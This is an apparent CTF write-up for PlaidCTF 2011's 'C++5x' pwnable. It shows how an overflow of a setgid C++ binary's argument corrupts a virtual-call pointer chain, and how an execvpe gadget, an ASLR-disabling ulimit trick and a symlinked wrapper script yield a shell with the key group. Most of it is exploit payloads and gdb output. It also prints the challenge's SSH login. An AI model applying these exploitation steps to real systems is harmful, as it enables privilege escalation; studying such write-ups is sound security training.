PlaidCTF 2011 #17 – C++5x (300)

Category: pwnables

AED decided to use C++ to develop their internal tools.
However, they seem to make a mistake one of their new C++ programs.

Exploit and get the key!

ssh username@a5.amalgamated.biz
Username: cpp1_1
Password: IwKheuEHvR1jYXmjIYz8bo8FFe1h8

Summary: tricky overflow class’ method and exec’ing symlinks

binary

Let’s check, what is there:

cpp1_1@a5:~$ /opt/pctf/cpp1/first_cpp 
Usage: /opt/pctf/cpp1/first_cpp <name> <point>
cpp1_1@a5:~$ /opt/pctf/cpp1/first_cpp "`perl -e 'print "A"x1024;'`" 123
Segmentation fault
cpp1_1@a5:~$ gdb --args /opt/pctf/cpp1/first_cpp "`perl -e 'print "A"x1024;'`" 123
...
Program received signal SIGSEGV, Segmentation fault.
0x080489b1 in ?? ()
(gdb) x/10i $eip
0x80489b1:    mov    (%eax),%eax
0x80489b3:    mov    (%eax),%edx
0x80489b5:    movl   $0x8049dc0,0x4(%esp)
0x80489bd:    mov    0x8(%ebp),%eax
0x80489c0:    mov    %eax,(%esp)
0x80489c3:    call   *%edx
(gdb) p/x $eax
$1 = 0x41414141

Well, we see that some dword in our buffer is used as a pointer to pointer to pointer to a call address. Where can we store the second and the third pointers?

After some code analyzing, we can find this nice code:

... in main:
sub_804896C((int)&v3, v2, argv[1]);

void __cdecl sub_804896C(int a1, int argv2, int argv1)
{
  char src; // [sp+26h] [bp-32h]@1

  sprintf(&src, "Uploading... [%s]: %d pts\n", argv1, argv2);
  memcpy(s, &src, 0x32u);
  (**(void (__cdecl ***)(_DWORD, _DWORD))a1)(a1, s);
  sub_8048870(a1);
}

.bss:08049DC0 s

Wow, s is in .bss so it has a constant address: 08049DC0. So, if we pass <ptr>, ptr will be situated at 08049DC0 + 14 = 08049DCE. Ok, let’s put there pointer to next dword (08049DD2) and a dummy address and look what args are passed to it:

cpp1_1@a5:~$ gdb --args /opt/pctf/cpp1/first_cpp "`perl -e
'print "\xd2\x9d\x04\x08" . "XXXX" . "\xce\x9d\x04\x08"x100;'`" 123
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) x/4xw $esp
0xbff459ec:    0x080489c5    0x08049dce    0x08049dc0    0x00000032
  • 0x080489c5 – ret addr
  • 0x08049dce – first argument
  • 0x08049dc0 – second argument

Looks like 0x08049dce is a valid pointer. But the second one must be a valid pointer to array of pointers. Let’s check it:

(gdb) x/20xw 0x08049dc0
0x8049dc0:    0x6f6c7055    0x6e696461    0x2e2e2e67    0x9dd25b20

Oh, it’s not. Very luckily, I found an appropriate gadget at execvpe+65:

(gdb) x/4i execvpe+65
0x401f6e71 <execvpe+65>:    mov    %ecx,0x8(%esp)
0x401f6e75 <execvpe+69>:    mov    0x8(%ebp),%eax
0x401f6e78 <execvpe+72>:    mov    %eax,(%esp)
0x401f6e7b <execvpe+75>:    call   0x401f6870 <execve>

(gdb) p/x $ecx
$1 = 0x0

(gdb) x/4xw $ebp
0xbfd17048:    0x08049dce    0x08049dce    0x08049dce    0x08049dce

(gdb) x/20xw 0x08049dce
0x8049dce:    0x08049dd2    0x58585858    0x08049dce    0x08049dce
0x8049dde:    0x08049dce    0x08049dce    0x08049dce    0x08049dce
0x8049dee:    0x08049dce    0x00000000    0x00000000    0x00000000

So, execve will receive:

  • 0x08049dce – first argument
  • 0x08049dce – second argument
  • 0 – third argumend (NULL)

And 0x08049dce is valid pointer to an array of pointers (because 0x58585858 will be replaced with execvpe+65). Ok, let’s create symlink and pwn it.

But before, let’s determine address of execvpe+65. I learnt a cool trick from zaphod: we can disable libc ASLR with this command:

cpp1_1@a5:~$ ulimit -s unlimited

Ok, now get the address:

cpp1_1@a5:~$ gdb --args /opt/pctf/cpp1/first_cpp "`perl -e
'print "\xd2\x9d\x04\x08" . "XXXX" . "\xce\x9d\x04\x08"x100;'`" 123
...
(gdb) p/x &execvpe+65
$1 = 0x401f6e71

Replace XXXX with this address and look what is execving:

cpp1_1@a5:~$ strace /opt/pctf/cpp1/first_cpp "`perl -e
'print "\xd2\x9d\x04\x08" . "\x71\x6e\x1f\x40" . "\xce\x9d\x04\x08"x100;'`" 123


execve("\322\235\4\10qn\37@\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10", ["qn\37@\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10", "\211L$\10\213E\10\211\4$\350\360\371\377\377\213\203\320
...

Now, time to win!

cpp1_1@a5:~$ export PATH=".:$PATH"
cpp1_1@a5:~$ cat >wrap.sh
#!/bin/sh
/bin/sh  # trick to drop arguments
cpp1_1@a5:~$ chmod +x wrap.sh
cpp1_1@a5:~$ ln -s wrap.sh $'\322\235\4\10qn\37@\316\235\4\10\316
\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316\235\4\10\316
\235\4\10'
cpp1_1@a5:~$ /opt/pctf/cpp1/first_cpp "`perl -e 'print "\xd2\x9d\x04\x08" . "\x71\x6e\x1f\x40" . "\xce\x9d\x04\x08"x100;'`" 123
$ id
uid=3000(cpp1_1) gid=3000(cpp1users) egid=3001(cpp1key) groups=3000(cpp1users)
$ cat /opt/pctf/cpp1/key
Virtual_function_is_Virtue

The flag: Virtual_function_is_Virtue

Leave a Reply

Your email address will not be published.